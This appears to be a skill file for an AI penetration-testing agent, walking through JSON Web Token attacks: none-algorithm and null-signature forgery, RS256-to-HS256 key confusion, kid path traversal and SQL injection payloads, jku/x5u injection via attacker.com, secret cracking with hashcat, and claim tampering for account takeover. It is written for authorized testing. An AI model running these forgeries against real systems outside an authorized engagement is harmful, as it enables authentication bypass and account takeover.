jwt-pentest

name	jwt-pentest
description	Guides JSON Web Token attack testing with algorithm confusion, signature bypass, header injection, and secret brute force techniques. Use when Bearer tokens, Authorization headers with eyJ prefix, or JWT cookies are observed during web or API testing.

JSON Web Token Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Load web-app-pentest for overall web testing context.

Triggers

• Authorization: Bearer eyJ... header on API requests
• JWT-shaped cookies (three base64url segments separated by dots)
• Auth flows returning signed tokens with alg, kid, or jku in header
• Role or user ID embedded in JWT payload claims

Workflow

Task Progress:
- [ ] Decode JWT header and payload
- [ ] Test signature bypass: none algorithm, null signature, key confusion
- [ ] Test header abuse: kid path traversal, jku/x5u injection
- [ ] Brute-force weak HS256 secrets; escalate claims (role, sub, admin)
- [ ] Document with request/response evidence

Detection

Decode and inspect

CLI (primary for web vulns):

python3 jwt_tool.py <JWT> -M at
echo "<JWT>" | cut -d. -f1 | base64 -d 2>/dev/null   # header
echo "<JWT>" | cut -d. -f2 | base64 -d 2>/dev/null   # payload

Check: alg, kid, jku, x5u, typ, crit, claims (sub, role, admin, exp).

MSF MCP: No direct module. Use msf_search_modules(query="jwt") or msf_search_modules(query="json web token").

Exploitation by variant

None algorithm (CVE-2015-9235)

CLI (primary):

python3 jwt_tool.py <JWT> -X a
# Variants: None, NONE, nOnE
curl -H "Authorization: Bearer <forged_token>" "http://<target>/api/admin"

MSF MCP: No direct module.

Null signature (CVE-2020-28042)

CLI (primary):

python3 jwt_tool.py <JWT> -X n
# <base64header>.<base64payload>.

MSF MCP: No direct module.

Key confusion RS256 to HS256 (CVE-2016-5431)

CLI (primary):

python3 jwt_tool.py <JWT> -X k -pk public.pem
python3 jwt_tool.py <JWT> -X k -jw jwks.json

Obtain RSA public key from JWKS endpoint or SSL cert; sign with public key as HMAC secret.

MSF MCP: No direct module.

ES256 and EdDSA confusion

CLI (primary):

# ES256/EdDSA to HS256 confusion (similar to RS256)
python3 jwt_tool.py <JWT> -X k -pk ec_public.pem
# EdDSA public key as HMAC secret when server accepts alg downgrade
python3 jwt_tool.py <JWT> -I -hc alg -hv HS256 -S hs-secret

Test cross-algorithm acceptance: ES256 token verified with Ed25519 or EC public key as HMAC.

MSF MCP: No direct module.

Embedded JWK injection (CVE-2018-0114)

CLI (primary):

python3 jwt_tool.py <JWT> -X i
# Header: {"alg":"RS256","jwk":{"kty":"RSA","n":"...","e":"AQAB"}}

MSF MCP: No direct module.

kid header abuse

CLI (primary):

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null"
python3 jwt_tool.py <JWT> -I -hc kid -hv "/dev/null" -S ""
python3 jwt_tool.py <JWT> -I -hc kid -hv "key' OR '1'='1"

Path traversal to known file as HMAC key; SQL/command injection via kid backend.

MSF MCP: No direct module.

jku and x5u injection

CLI (primary):

python3 jwt_tool.py <JWT> -X s -ju "https://attacker.com/jwks.json"
python3 jwt_tool.py <JWT> -I -hc x5u -hv "https://attacker.com/cert.pem"

Host attacker JWKS; sign with matching private key.

MSF MCP: No direct module.

JWE key confusion

CLI (primary):

# When app returns JWE (5 parts) not JWS (3 parts)
python3 jwt_tool.py <JWE> -J
# Test alg:none on nested JWT, RSA-OAEP key confusion, direct key swap
# jwcrypto / manual: decrypt with attacker key if public key used as CEK

Test JWE alg/enc header manipulation, AES-GCM nonce reuse, RSA1_5 padding oracle.

MSF MCP: No direct module.

crit header abuse

CLI (primary):

python3 jwt_tool.py <JWT> -I -hc crit -hv '["b64"]' -I -hc b64 -hv false
# Force unsupported critical headers; parser may skip validation
python3 jwt_tool.py <JWT> -I -hc crit -hv '["exp","custom"]'

If server ignores unknown crit extensions, bypass signature or expiry checks.

MSF MCP: No direct module.

Weak secret brute force

CLI (primary):

python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/jwt-secrets.txt
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256

MSF MCP: No direct module.

Claim tampering

CLI (primary):

python3 jwt_tool.py <JWT> -T
python3 jwt_tool.py <JWT> -I -pc role -pv administrator
python3 jwt_tool.py <JWT> -I -pc sub -pv admin -I -pc isAdmin -pv true

Modify sub, role, admin, extend exp.

MSF MCP: No direct module.

Refresh-token rotation abuse

CLI (primary):

# Capture refresh token; test reuse after rotation
curl -X POST "http://<target>/auth/refresh" -d '{"refresh_token":"<token>"}'
# Test old refresh still valid (broken rotation)
# Test refresh token with modified sub/scope claims
python3 jwt_tool.py <refresh_jwt> -T -I -pc scope -pv "admin read write"

Test: refresh token reuse, family invalidation bypass, scope escalation on refresh endpoint.

MSF MCP: No direct module.

WAF bypass

CLI (primary):

python3 jwt_tool.py <JWT> -M at

Algorithm case: none, None, NONE, nOnE; strip signature with trailing dot; nested JWT; duplicate claims.

MSF MCP: No direct module.

Impact escalation

Stage	CLI technique
Auth bypass	None alg, null sig, key confusion
Privesc	Modify role/admin claims
Account takeover	Change sub to victim user ID
Persistent access	Extend exp, forge refresh tokens

MSF MCP: After token forgery yields admin access, use msf_search_modules(query="<product>").

Tool reference

python3 jwt_tool.py <JWT> -M at
python3 jwt_tool.py <JWT> -X a
python3 jwt_tool.py <JWT> -X k -pk public.pem
python3 jwt_tool.py <JWT> -C -d jwt-secrets.txt
python3 jwt_tool.py <JWT> -T
hashcat -m 16500 jwt.txt wordlist.txt

Burp extensions: JWT Editor, JOSEPH.

Related skills

• web-app-pentest - overall web testing flow
• idor-pentest - object access after token forgery
• sqli-pentest - kid header SQL injection backend
• graphql-pentest - JWT auth on GraphQL endpoints